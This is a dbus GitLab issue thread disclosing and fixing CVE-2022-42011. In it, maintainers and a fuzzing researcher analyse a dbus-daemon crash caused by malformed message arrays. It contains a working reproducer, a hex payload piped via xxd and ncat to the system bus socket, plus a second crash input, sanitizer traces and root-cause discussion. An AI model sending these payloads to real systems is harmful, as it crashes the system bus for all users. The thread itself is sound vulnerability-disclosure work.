Closed Issue created 2 months ago by Evgeny Vereshchagin

CVE-2022-42011: dbus-daemon can be crashed by messages with array length inconsistent with element type

To reproduce

It can be reproduced on Debian Bookworm with `dbus-daemon-1.14.0-2` by running the following command as a non-root user:

```
cat <<'EOL' | xxd -ps -r | ncat -U /run/dbus/system_bus_socket
0041555448204558544552 4e414c0d0a444154410d0a424547494e0d0a6c
40ff0100000000f60059df1801000052116128612879797979797979929
7961742900000010000d8000000000000000016f5d0000000000001560244
7265656465736b000017f60059df20dfff09a9116120612879717900d842
e92f6f726765656420202020202020200020202020202020202020202020
202020202020b00024000000000000e6dfdfdf2020202065000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000028757987ff27b5e9d90100005e304b7900016f
2d5d67446f72444472656564001765 6b7300f60059ffa911612061287971
fd7eeeff010000000000001067c8c8c8c8c8c8010000000000000050000
000000faff0000000000000000000000001200000000000000
EOL
```

Expected result

`dbus-daemon` shouldn't crash.

Actual result

```
==29956== Invalid read of size 8
==29956==    at 0x4888CF4: UnknownInlinedFun (byteswap.h:73)
==29956==    by 0x4888CF4: _dbus_marshal_read_basic (dbus-marshal-basic.c:582)
==29956==    by 0x48738DC: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2612)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x4873BD7: _dbus_type_writer_write_reader_partial.isra.0 (dbus-marshal-recursive.c:2
==29956==    by 0x4873D17: replacement_block_replace (dbus-marshal-recursive.c:1197)
==29956==    by 0x4873EDD: _dbus_type_reader_delete (dbus-marshal-recursive.c:1434)
==29956==    by 0x4871F43: _dbus_header_remove_unknown_fields (dbus-marshal-header.c:1559)
==29956==  Address 0x5005300 is 0 bytes after a block of size 608 alloc'd
==29956==    at 0x484582F: realloc (vg_replace_malloc.c:1437)
==29956==    by 0x4889454: reallocate_for_length (dbus-string.c:397)
==29956==    by 0x4889454: set_length (dbus-string.c:438)
==29956==    by 0x4871F30: reserve_header_padding (dbus-marshal-header.c:100)
==29956==    by 0x4871F30: _dbus_header_remove_unknown_fields (dbus-marshal-header.c:1556)
==29956==    by 0x11FA4F: bus_dispatch (dispatch.c:293)
==29956==    by 0x11FA4F: bus_dispatch_message_filter (dispatch.c:559)
==29956==    by 0x486C9C6: dbus_connection_dispatch (dbus-connection.c:4703)
==29956==    by 0x486C9C6: dbus_connection_dispatch (dbus-connection.c:4574)
==29956==    by 0x12BE98: _dbus_loop_dispatch (dbus-mainloop.c:532)
==29956==    by 0x12BE98: _dbus_loop_dispatch (dbus-mainloop.c:513)
==29956==    by 0x12BE98: _dbus_loop_iterate (dbus-mainloop.c:862)
==29956==    by 0x12C274: _dbus_loop_run (dbus-mainloop.c:888)
==29956==    by 0x112C99: main (main.c:750)
==29956==
==29956==
==29956== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==29956==  Access not within mapped region at address 0x5356000
==29956==    at 0x4888CF4: UnknownInlinedFun (byteswap.h:73)
==29956==    by 0x4888CF4: _dbus_marshal_read_basic (dbus-marshal-basic.c:582)
```

```
==29956==    by 0x48738DC: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2612)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x48737E6: writer_write_reader_helper.isra.0 (dbus-marshal-recursive.c:2526)
==29956==    by 0x4873BD7: _dbus_type_writer_write_reader_partial.isra.0 (dbus-marshal-recursive.c:2
==29956==    by 0x4873D17: replacement_block_replace (dbus-marshal-recursive.c:1197)
==29956==    by 0x4873EDD: _dbus_type_reader_delete (dbus-marshal-recursive.c:1434)
==29956==    by 0x4871F43: _dbus_header_remove_unknown_fields (dbus-marshal-header.c:1559)
```

[I've edited the title of this issue report to clarify the scope of the initial issue reported by @evverx and distinguish it from #418 (closed). - @smcv]

Edited 1 month ago by Simon McVittie

Drag your designs here or click to upload.

Tasks 0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items 0

Related merge requests 2

Clarify demarshalling code

!355 1.16.0

Use 'continue' keyword in preference to 'goto' where possible

!356

When these merge requests are accepted, this issue will be closed automatically.

Activity

Evgeny Vereshchagin @evverx · 2 months ago Author Contributor

I've just reproduced it with the `master` branch:

```
=================================================================
==8453==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6160000011e0 at pc 0x7
READ of size 8 at 0x6160000011e0 thread T0
    #0 0x7fb6b62035f2 in _dbus_marshal_read_basic ../dbus/dbus-marshal-basic.c:581
    #1 0x7fb6b61c0800 in _dbus_type_reader_read_basic ../dbus/dbus-marshal-recursive.c:87
    #2 0x7fb6b61c56a0 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2612
    #3 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #4 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #5 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #6 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #7 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #8 0x7fb6b61c51c2 in writer_write_reader_helper ../dbus/dbus-marshal-recursive.c:2526
    #9 0x7fb6b61c5b14 in _dbus_type_writer_write_reader_partial ../dbus/dbus-marshal-recu
    #10 0x7fb6b61c16d0 in replacement_block_replace ../dbus/dbus-marshal-recursive.c:1197
    #11 0x7fb6b61c1e8a in _dbus_type_reader_delete ../dbus/dbus-marshal-recursive.c:1434
    #12 0x7fb6b61bdfac in _dbus_header_remove_unknown_fields ../dbus/dbus-marshal-header.
    #13 0x7fb6b61ca473 in _dbus_message_remove_unknown_fields ../dbus/dbus-message.c:274
    #14 0x5635813e1a21 in bus_dispatch ../bus/dispatch.c:293
    #15 0x5635813e21e5 in bus_dispatch_message_filter ../bus/dispatch.c:559
    #16 0x7fb6b61ada70 in dbus_connection_dispatch ../dbus/dbus-connection.c:4703
    #17 0x563581412536 in _dbus_loop_dispatch ../dbus/dbus-mainloop.c:532
    #18 0x563581413a46 in _dbus_loop_iterate ../dbus/dbus-mainloop.c:862
    #19 0x563581413bfe in _dbus_loop_run ../dbus/dbus-mainloop.c:888
    #20 0x5635813bf907 in main ../bus/main.c:747
    #21 0x7fb6b5df6d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
```

```
    #22 0x7fb6b5df6e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #23 0x5635813bd574 in _start (/root/dbus/build/bus/dbus-daemon+0x1c574)
0x6160000011e0 is located 0 bytes to the right of 608-byte region [0x616000000f80,0x61600
allocated by thread T0 here:
    #0 0x7fb6b6314c18 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_mal
    #1 0x7fb6b6205b89 in dbus_realloc ../dbus/dbus-memory.c:669
    #2 0x7fb6b6207a19 in reallocate_for_length ../dbus/dbus-string.c:395
    #3 0x7fb6b6207ba9 in set_length ../dbus/dbus-string.c:436
    #4 0x7fb6b62083f4 in _dbus_string_lengthen ../dbus/dbus-string.c:812
    #5 0x7fb6b61b9a69 in reserve_header_padding ../dbus/dbus-marshal-header.c:100
    #6 0x7fb6b61bdf80 in _dbus_header_remove_unknown_fields ../dbus/dbus-marshal-header.c
    #7 0x7fb6b61ca473 in _dbus_message_remove_unknown_fields ../dbus/dbus-message.c:274
    #8 0x5635813e1a21 in bus_dispatch ../bus/dispatch.c:293
    #9 0x5635813e21e5 in bus_dispatch_message_filter ../bus/dispatch.c:559
    #10 0x7fb6b61ada70 in dbus_connection_dispatch ../dbus/dbus-connection.c:4703
    #11 0x563581412536 in _dbus_loop_dispatch ../dbus/dbus-mainloop.c:532
    #12 0x563581413a46 in _dbus_loop_iterate ../dbus/dbus-mainloop.c:862
    #13 0x563581413bfe in _dbus_loop_run ../dbus/dbus-mainloop.c:888
    #14 0x5635813bf907 in main ../bus/main.c:747
    #15 0x7fb6b5df6d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-buffer-overflow ../dbus/dbus-marshal-basic.c:581 in _dbus_
Shadow bytes around the buggy address:
  0x0c2c7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff81f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c2c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2c7fff8230: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c2c7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c2c7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==8453==ABORTING
```

Simon McVittie @smcv · 2 months ago — Owner

Thank you for reporting this privately. This is (at least) a denial-of-service vulnerability, so please do not disclose this in public.

The mention of `_dbus_header_remove_unknown_fields()` in the backtrace suggests that if we're lucky, this might be a regression since 1.12.x.

I'll try to salvage some time away from my other projects to investigate this, but anything you can do to narrow down the root cause would be very helpful.

Ralf Habacker @rhabacker · 2 months ago — Maintainer

I cannot reproduce the issue with `dbus-1-1.12.2-8.11.2.x86_64` on opensuse with the mentioned test case. I get

```
...
DATA
OK 1674b71eba7eaef6963e893263150420
```

Simon McVittie @smcv · 2 months ago Owner

Having traced into the root cause, I think the underlying bug does affect 1.12.x, but it'll be a lot harder to get it to cause a crash in 1.12.x because that branch doesn't have commit 9bb330d8 (see #413 (comment 1547131)).

Please register or sign in to reply

Evgeny Vereshchagin @evverx · 2 months ago Author Contributor

> this might be a regression since 1.12.x

Looks like it is. As far as I can tell the issue was introduced in 9bb330d8

```
9bb330d82ab2bf60b5ec27b2b3e01d40d872243e is the first bad commit
commit 9bb330d82ab2bf60b5ec27b2b3e01d40d872243e
Author: Simon McVittie <smcv@collabora.com>
Date:   Tue Dec 12 14:05:04 2017 +0000

    dbus-daemon: Filter out unknown header fields

    Bug: https://bugs.freedesktop.org/show_bug.cgi?id=100317
    Reviewed-by: Philip Withnall <withnall@endlessm.com>
    Signed-off-by: Simon McVittie <smcv@collabora.com>

 bus/dispatch.c             | 10 ++++++++++
 bus/driver.c               | 12 ++++++++++---
 doc/dbus-specification.xml | 25 +++++++++++++++++++++++++
 3 files changed, 43 insertions(+), 4 deletions(-)
```

Edited by Evgeny Vereshchagin 2 months ago

Simon McVittie @smcv · 2 months ago Owner

This looks a lot like the output of a fuzzer. Is this something you've been doing systematically? Are there other fuzzer-generated issues that you have queued up?

All the people currently working on dbus mostly do other things, so we don't really have the resources to be doing fuzzing or processing a large number of fuzzer-generated issues - but if you want to get involved in improving dbus and you have some time available to supervise a fuzzer, once we have got through the initial batch, it would be great if you could integrate the infrastructure with dbus' CI somehow.

Simon McVittie @smcv · 2 months ago Owner

This transaction consists of a minimal SASL handshake (skip to the last `\r\n` to ignore), followed by a message which looks like fuzzer output but is sort-of-comprehensible. Here's an annotated hex-dump:

```
00000000: 6c                                      # little-endian
          40                                      # an undefined message type
             ff                                   # flags = all set
               01                                 # major protocol version = 1
                  0000 0000                       # message body is 0 bytes
                            f600 59df             # serial number 0xdf5900f6
                                      1801 0000   # header is an array of 0x0118 bytes o
00000010: 52                                      # header field code 0x52 (an undefined
          11                                      # signature is 0x11 = 17 bytes, + \0
             6128 6128 7979 7979 7979 7979 2979   # "a(a(yyyyyyyy)y"...
00000020: 6174 2900                               # ..."at)" + trailing \0
                  0001 0000                       # outer array is 0x0100 = 256 bytes in
```

```
                                        # enter first a(yyyyyyyy)yat
                            d800 0000   # inner array is 0xd8 = 216 bytes in t
                                 0000   # padding to 8-byte boundary (not inclu
                                        # enter array of (yyyyyyyy), 8-byte str
00000030: 016f 5d00 0000 0000           # first struct (yyyyyyyy), 8 arbitrary
                            0001 5602 4472 6565  # second struct (yyyyyyyy), etc.
...
00000100: c8c8 c8c8 c801 0000           # 27th struct (yyyyyyyy)
                            00          # byte (y) = 0
                              00 0000   # padding to 4-byte boundary
                                 0500 0000  # array of int64 (at) is 5 bytes long,
00000110: 0000 faff 0000 0000 0000 0000 0000 0000
00000120: 1200 0000 0000 0000
```

GDBus, which is an alternative implementation of D-Bus, correctly diagnoses this message as invalid. If I put it through this script:

▶ show script

then the result is:

```
Endianness: 'l'
Message type: 64
Flags: 0xff
Major version: 1
Body length: 0
Serial: 3747152118
Header fields array length: 280
Traceback (most recent call last):
  File "/home/smcv/src/dbus/./decodestream.py", line 47, in <module>
    message = Gio.DBusMessage.new_from_blob(blob, Gio.DBusCapabilityFlags.NONE)
gi.repository.GLib.GError: g-io-error-quark: Encountered array of type “at”, expected to h
```

But libdbus decodes the message successfully, even though it should not, and I think that might be what is breaking the message processing later on.

Edited by Simon McVittie 2 months ago

Simon McVittie @smcv · 2 months ago — Owner

If you compile with assertions enabled (which we don't recommend for production builds, but might be worthwhile when fuzzing), parsing this message blob with `dbus_message_demarshal()` and then calling `_dbus_message_remove_unknown_fields()` on it results in an assertion failure:

```
dbus[1563167]: assertion failed "reader->value_pos <= end_pos" file "../../../../../../hor
```

Simon McVittie @smcv · 2 months ago — Owner

I think I've found the root cause for this, but I want to add some targeted test coverage before claiming to have fixed it. I'll continue this next week.

Evgeny Vereshchagin @evverx · 2 months ago — Author — Contributor

> This looks a lot like the output of a fuzzer.

This issue was found by an experimental fuzzer briefly mentioned at https://github.com/dbus-fuzzer/dfuzzer/issues/102. It wasn't integrated into `dfuzzer` though because it was decided that it should focus on somewhat valid messages that can be delivered to various daemons to trigger issues like https://github.com/systemd/systemd/issues/23097, https://github.com/systemd/systemd/issues/23312 and https://github.com/firewalld/firewalld/issues/985.

> Is this something you've been doing systematically?

I can't say I fuzz `dbus-daemon` regularly. I just ran the fuzzer on Debian Testing for a few minutes.

> Are there other fuzzer-generated issues that you have queued up?

As far as I can see the fuzzer triggered another issue:

▶ Conditional jump or move depends on uninitialised value(s)

but I have to admit I haven't analyzed the backtrace yet.

> if you want to get involved in improving dbus and you have some time available to supervise a fuzzer, once we have got through the initial batch, it would be great if you could integrate the infrastructure with dbus' CI somehow

I think I can try to integrate `dbus-daemon` into OSS-Fuzz but I think I'll get round to it once I cover `resolved` and its UAFs: https://github.com/systemd/systemd/pull/23875 and `varlink`: https://github.com/systemd/systemd/issues/23785 (at least downstream).

Evgeny Vereshchagin @evverx · 2 months ago Author Contributor

> I think I can try to integrate `dbus-daemon` into OSS-Fuzz

@smcv thanks to #413 (comment 1544509) I wrote a fuzz target that can be used to fuzz that part of the code. I think it needs polishing to make it fully compatible with OSS-Fuzz but it shouldn't take long. Just let me know if it's something that would be useful so that I could open a PR like https://github.com/google/oss-fuzz/pull/7860 to figure out whether `dbus-daemon` would be accepted as well.

> If you compile with assertions enabled (which we don't recommend for production builds, but might be worthwhile when fuzzing

Thanks for the pointers! I built `dbus-daemon` with `-Dasserts=true` and triggered two new crashes. I'm not sure how useful they are though. I'll try to take a closer look later.

Simon McVittie @smcv · 2 months ago Owner

Thanks for looking into this, but please don't open any public pull requests or issues about fuzzing dbus-daemon until we have fixed this initial batch of issues.

Simon McVittie @smcv · 2 months ago Owner

> As far as I can tell the issue was introduced in `9bb330d8`

I think this is actually a much older bug, but perhaps it wasn't practically exploitable before `9bb330d8`?

Evgeny Vereshchagin @evverx · 2 months ago Author Contributor

> I think this is actually a much older bug, but perhaps it wasn't practically exploitable before `9bb330d8`?

I ran `git bisect` and in the process I built `dbus-daemon` with ASan, installed it, reloaded `systemd`, restarted `dbus` and sent the data to the socket. According to `git bisect` that commit introduced the issue in the sense that it was always reproducible reliably after that. It could be that that particular testcase should have been modified a bit to let `git bisect` go further back but I haven't tried that. Let me double-check.

Simon McVittie @smcv · 2 months ago Owner

> According to git bisect that commit introduced the issue in the sense that it was always reproducible reliably after that

I think this is just because that commit was the first one where dbus-daemon would always modify the message in-place (which implicitly assumes the message is valid). Before that, the dbus-daemon wasn't validating the message correctly, but we didn't notice because it also wasn't filtering the message to remove unsupported headers.

Simon McVittie @smcv · 2 months ago Owner

> As far as I can see the fuzzer triggered another issue:
>
> ```
> ==136102== Conditional jump or move depends on uninitialised value(s)
> ==136102==    at 0x4875DA0: validate_body_helper (dbus-marshal-validate.c:482)
> ```

I can't reproduce this myself, but I think it actually has the same root cause: after commit e61f13cf "Bug 18064 - more efficient validation for fixed-size type arrays", message validation doesn't actually check that arrays of fixed-size basic types contain a number of bytes that is divisible by the size of an item. For booleans, this can result in looking at bytes that were uninitialized, and for all fixed-size basic types larger than 1 byte, it can also break assumptions that are made while iterating through the message.

Simon McVittie created branch `issue413` to address this issue 2 months ago

Evgeny Vereshchagin @evverx · 2 months ago — Author — Contributor

> Before that, the dbus-daemon wasn't validating the message correctly, but we didn't notice because it also wasn't filtering the message to remove unsupported headers.

Just to make sure I didn't screw anything up I modified the script bisecting `dbus-daemon` and apart from that particular testcase I also sent a bunch of other testcases I had generated with the fuzz target fuzzing `dbus_message_demarshal`. `git bisect` pointed to 9bb330d8 again.

FWIW with assertions enabled `git bisect` can get past that commit but I'm pretty sure it's a different issue:

```
assertion failed "t != DBUS_STRUCT_END_CHAR" file "dbus-marshal-basic.c" line 1401 functic
```

(and it doesn't lead to any invalid reads or anything like that under ASan with `--disable-asserts`).

[edit: This is now tracked as #418 (closed). — @smcv]

Edited by Simon McVittie 1 month ago

Simon McVittie @smcv · 2 months ago — Owner

> Just to make sure I didn't screw anything up I modified the script bisecting `dbus-daemon` and apart from that particular testcase I also sent a bunch of other testcases I had generated with the fuzz target fuzzing `dbus_message_demarshal`. `git bisect` pointed to 9bb330d8 again.

Right, but that doesn't *necessarily* mean it's 9bb330d8 that is wrong. 9bb330d8 calls into functions that assume the message is valid, which turns a mostly-theoretical problem that has been here since commit e61f13cf in 2008 (an invalid message was wrongly thought to be valid) into a practical problem that you can see (since 9bb330d8, we are doing more edits on the message that rely on it being valid, and will cause a crash if it isn't).

Code paths other than the call added in 9bb330d8 can also legitimately rely on the message being valid, but your fuzzer is going to be less likely to find them, because the conditions for getting to those code paths are less likely to be achieved by chance (I think they'd have to involve the message actually getting relayed to a D-Bus client).

The practical result is that we need to backport the fix to 1.12.x, not just 1.14.x.

Simon McVittie @smcv · 2 months ago — Owner

> ```
> assertion failed "t != DBUS_STRUCT_END_CHAR" file "dbus-marshal-basic.c" line 1401
> function map_type_char_to_type
> ```

Please could you share the fuzzer-generated message that triggers this, if smcv/dbus-issue413!1 doesn't already fix it? Any time we hit an assertion failure, it's automatically a bug (either the assertion is wrong, or the code is wrong).

[edit: This is now tracked as #418 (closed)]

Edited by Simon McVittie 1 month ago

Evgeny Vereshchagin @evverx · 2 months ago — Author — Contributor

> Please could you share the fuzzer-generated message that triggers this, if smcv/dbus-issue413!1 doesn't already fix it?

Sure. With that patch applied the fuzzer still crashes

```
$ xxd -ps minimized-from-e1f55a417825f05084b88a0aae8525e0fbb07075
6c8f2801000000007b22000818000000fd152874617b79617b64617b7961
7b7961717d7d7d297d000000000000000000c0000000000000000000000
00000000feff0000
```

```
==1402900== ERROR: libFuzzer: deadly signal
    #0 0x5379de in __sanitizer_print_stack_trace (/home/vagrant/oss-fuzz/projects/dbus-dae
    #1 0x478564 in fuzzer::PrintStackTrace() (/home/vagrant/oss-fuzz/projects/dbus-daemon/
    #2 0x4589a6 in fuzzer::Fuzzer::CrashCallback() (.part.0) FuzzerLoop.cpp.o
    #3 0x458a6a in fuzzer::Fuzzer::StaticCrashSignalCallback() (/home/vagrant/oss-fuzz/pro
    #4 0x7f3b8ec3ea6f  (/lib64/libc.so.6+0x3ea6f) (BuildId: 6f5ce514a9e7f51e0247a527c3a41e
    #5 0x7f3b8ec8ec4b in __pthread_kill_implementation (/lib64/libc.so.6+0x8ec4b) (BuildId
    #6 0x7f3b8ec3e9c5 in gsignal (/lib64/libc.so.6+0x3e9c5) (BuildId: 6f5ce514a9e7f51e0247
    #7 0x7f3b8ec287f3 in abort (/lib64/libc.so.6+0x287f3) (BuildId: 6f5ce514a9e7f51e0247a5
    #8 0x5ae2fd in _dbus_abort /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/build/../d
    #9 0x593d11 in _dbus_real_assert /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/buil
    #10 0x599b9b in map_type_char_to_type /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus
    #11 0x599b9b in _dbus_first_type_in_signature /home/vagrant/oss-fuzz/projects/dbus-dae
    #12 0x5e32a3 in _dbus_type_reader_get_current_type /home/vagrant/oss-fuzz/projects/dbu
    #13 0x5e442c in _dbus_type_reader_next /home/vagrant/oss-fuzz/projects/dbus-daemon/dbu
    #14 0x5ef23a in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #15 0x5ee640 in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #16 0x5eee2a in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #17 0x5ee640 in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #18 0x5eeeed in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #19 0x5ee640 in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #20 0x5eee2a in validate_body_helper /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/
    #21 0x5eda5c in _dbus_validate_body_with_reason /home/vagrant/oss-fuzz/projects/dbus-d
    #22 0x5def07 in _dbus_header_load /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/bu
    #23 0x585d53 in load_message /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/build/.
    #24 0x585d53 in _dbus_message_loader_queue_messages /home/vagrant/oss-fuzz/projects/db
    #25 0x587dcc in dbus_message_demarshal /home/vagrant/oss-fuzz/projects/dbus-daemon/dbu
```

Simon McVittie @smcv · 1 month ago — Owner

This is not really the same vulnerability as the one initially reported here, so I've opened #418 (closed) to represent it.

Simon McVittie @smcv · 1 month ago — Owner

(@evverx, you will not be able to read #418 (closed) until it's unembargoed, but there's nothing interesting there - it's just a brief summary of this issue.)

Evgeny Vereshchagin @evverx · 2 months ago — Author — Contributor

> Code paths other than the call added in 9bb330d8 can also legitimately rely on the message being valid, but your fuzzer is going to be less likely to find them, because the conditions for getting to those code paths are less likely to be achieved by chance (I think they'd have to involve the message actually getting relayed to a D-Bus client).

> The practical result is that we need to backport the fix to 1.12.x, not just 1.14.x.

Agreed. Unfortunately neither the fuzz target nor the experimental part of `dfuzzer` is smart enough to generate messages that can actually reach actual D-Bus clients. Even if they did it would be necessary to launch a bunch of clients using different libraries to see how they would react. I don't think all of them would be prepared for that.

Simon McVittie @smcv · 2 months ago — Owner

> With that patch applied the fuzzer still crashes

OK, I'll need to look into that one separately.

Simon McVittie @smcv · 2 months ago — Owner

> Unfortunately neither the fuzz target nor the experimental part of `dfuzzer` is smart enough to generate messages that can actually reach actual D-Bus clients

I think the way to exercise those code paths would probably be to write a fuzz target that parses a message and then does a full iteration over it (retrieving all fields of the header and body), and possibly also removes/rewrites some or all header fields (like dbus-daemon does), rather than actually using dbus-daemon as the fuzz target. That will probably also be faster!

The code that is crashing with your original report is known to be pretty horrible anyway: see #47. We don't really have the maintainer bandwidth to be rewriting it, but once the dust has settled from these fixes, if you want to have a go, I'd be happy to review!

Simon McVittie @smcv · 2 months ago — Owner

> #10 0x599b9b in map_type_char_to_type /home/vagrant/oss-fuzz/projects/dbus-daemon/dbus/build/../dbus/dbus-marshal-basic.c:1456:7

This is really an entirely unrelated bug [edit: now reported as #418 (closed)], but since we're doing embargoed fixes for fuzzer-generated failure modes, I'll group it together with the first one.

Edited by Simon McVittie 1 month ago

Evgeny Vereshchagin @evverx · 2 months ago — Author — Contributor

> I think the way to exercise those code paths would probably be to write a fuzz target that parses a message and then does a full iteration over it (retrieving all fields of the header and body), and possibly also removes/rewrites some or all header fields (like dbus-daemon does), rather than actually using dbus-daemon as the fuzz target. That will probably also be faster!

Thanks for the pointers! I agree that it should be faster (and hopefully I'll try to cover more codepaths eventually). Also to make it easier to figure out what else should be fuzzed I'm trying to get `meson` to build `dbus-daemon` with fuzz-introspector (which shows what's reachable and isn't covered, places where fuzz targets are blocked and so on). Unfortunately it doesn't compile with `meson` out of the box: https://github.com/systemd/systemd/pull/23158.

Simon McVittie changed title from **dbus-daemon can be crashed by sending malformed messages to /run/dbus/system_bus_socket** to **dbus-daemon can be crashed by messages with array length inconsistent with element type** 1 month ago

Simon McVittie changed the description 1 month ago

Simon McVittie mentioned in issue #418 (closed) 1 month ago

Simon McVittie changed the description 1 month ago

Simon McVittie @smcv · 1 month ago — Owner

I have requested separate CVE IDs from MITRE for #413 (closed) and #418 (closed).

Simon McVittie @smcv · 1 month ago — Owner

This issue (#413 (closed), the one involving an array of fixed-type elements that is not divisible by the length of an element) is CVE-2022-42011.

#418 (closed) (the one involving parentheses and curly brackets incorrectly nested) is CVE-2022-42010.

Simon McVittie added libdbus label 1 month ago

Simon McVittie changed title from **dbus-daemon can be crashed by messages with array length inconsistent with element type** to **CVE-2022-42011: dbus-daemon can be crashed by messages with array length inconsistent with element type** 1 month ago

Simon McVittie mentioned in commit 3b8a7aff 1 month ago

Simon McVittie mentioned in commit 82fcf400 1 month ago

Simon McVittie mentioned in commit b9f914fa 1 month ago

Simon McVittie mentioned in commit 992c0da4 1 month ago

Simon McVittie mentioned in commit 6b88e768 1 month ago

Simon McVittie mentioned in commit c0bfcc09 1 month ago

Simon McVittie mentioned in commit d633016f 1 month ago

Simon McVittie mentioned in commit 3ef34241 1 month ago

Simon McVittie closed via commit 079bbf16 1 month ago

Simon McVittie mentioned in commit b9e6a752 1 month ago

Simon McVittie made the issue visible to everyone 1 month ago

Evgeny Vereshchagin @evverx · 1 month ago Author Contributor

> Just let me know if it's something that would be useful so that I could open a PR like https://github.com/google/oss-fuzz/pull/7860 to figure out whether `dbus-daemon` would be accepted as well.

@smcv I've just opened https://github.com/google/oss-fuzz/pull/8699 to figure out whether dbus would be accepted and it appears it should be possible to start fuzzing dbus on OSS-Fuzz. Could you take a look? I haven't filled out the "primary_contact" field there yet because unfortunately it should be a gmail email address due to https://google.github.io/oss-fuzz/faq/#why-do-you-require-a-google-account-for-authentication.

Simon McVittie mentioned in merge request !355 (merged) 1 month ago

Simon McVittie mentioned in merge request !356 1 month ago